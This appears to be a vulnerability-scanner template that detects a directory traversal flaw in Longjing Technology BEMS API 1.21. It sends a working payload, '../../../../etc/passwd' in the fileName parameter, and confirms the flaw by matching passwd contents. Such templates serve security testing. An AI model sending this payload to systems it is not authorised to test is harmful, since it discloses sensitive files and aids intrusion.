id: bems-api-lfi info: name: Longjing Technology BEMS API 1.21 - Local File Inclusion author: gy741 severity: high description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php - https://packetstormsecurity.com/files/163702/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 metadata: max-request: 1 tags: lfi,packetstorm http: - method: GET path: - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200